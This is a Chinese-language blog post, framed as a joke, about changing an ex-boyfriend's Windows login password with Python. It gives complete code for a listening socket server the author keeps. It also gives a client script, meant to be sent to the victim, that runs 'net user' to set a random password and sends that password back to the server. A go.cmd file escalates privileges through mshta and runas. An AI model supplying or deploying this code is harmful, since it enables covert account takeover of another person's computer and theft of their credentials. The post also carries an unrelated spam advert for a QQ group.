我用Python修改了前男友的開機密碼,登入後居然發現了一個祕密
阿新 • • 發佈:2021-12-18
工具準備
開發環境:win10+python3.7
開發工具:pycharm
專案思路解析
一想到遠端,就想到建立連線,一想到建立連結,就想到socket套接字(一想到套接字,就聯想到我沒有男盆友)
分別為三個知識點:
很多人學習蟒蛇,不知道從何學起。 很多人學習python,掌握了基本語法之後,不知道在哪裡尋找案例上手。 很多已經做了案例的人,卻不知道如何去學習更多高深的知識。 那麼針對這三類人,我給大家提供一個好的學習平臺,免費獲取視訊教程,電子書,以及課程的原始碼! QQ群:101677771 歡迎加入,一起討論一起學習!
1.socket遠端連線
2.建立客戶端和服務端
3.管理員許可權執行程式碼
咱們今天是學習修改電腦密碼和遠端修改小夥伴的密碼,如果有哪裡解析不好,歡迎大佬指點一下。
該專案程式碼為3份(記住自己拿的是服務端的程式碼,客服端程式碼和go.cmd是發給別人的)
首先正常建立服務端:
- 建立套接字
- 繫結ip埠
- 設定監聽
- 等待連線
- 接收資料列印資料
- 關閉連線
python原始碼
import socket # 匯入socket server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 建立socket server.bind(('192.168.246.1', 44444)) # 繫結IP/埠 server.listen(5) # 監聽 print('***********等待連線*********') conn, addr = server.accept() # 連線 print(conn) print('客戶端的地址:', addr) client_msg = conn.recv(1024) print('客戶端修改的密碼是: %s' % client_msg) conn.close() server.close() 複製程式碼
windows的修改電腦密碼的命令:net User 使用者名稱 修改的密碼(可以自己動手試一下)
在提醒一遍,記住服務端是我們自己拿著的哈,別傻乎乎的發給對方了哦!
接下來就寫發給小夥伴的客戶端:
- 連線服務端的IP和埠
獲取當前使用的電腦賬戶名生成隨機的電腦密碼在終端執行修改Windows密碼的指令傳送修改之後的密碼關閉套接字
import socket # 匯入用到的模組 import getpass import subprocess import random client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 建立socket例項 client.connect((ip, 埠)) # 連線server端IP地址/埠按你自己實際情況來 user = getpass.getuser() # 獲取計算機使用者名稱 print(user) psd = '' for j in range(1, 9): # 生成1-9的隨機數 m = str(random.randrange(0, 10)) psd = psd + m subprocess.Popen(['net', 'User', user, psd]) # 在本地執行(類似於cmd命令) client.send(psd.encode('utf-8')) # 將密碼傳送給server端 back_msg = client.recv(1024) client.close() # 關閉socket 複製程式碼
到這一步基本就可以自己去嘗試了,嘿嘿,但是要注意,當前程式碼只能修改許可權是admin的賬戶。
非admin使用者需要提高自己的執行許可權,直接使用超級管理員許可權執行cmd檔案go.cmd
@echo off %1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit cd /d "%~dp0" start python client.py 複製程式碼
小結
最後我修改密碼成功登陸,竟然發現了他的密碼!
難怪每次我和他鬥圖,我每次都鬥不贏他,原來是揹著我下了幾千個表情包,我怎麼就沒有想到這個騷操作呢!!!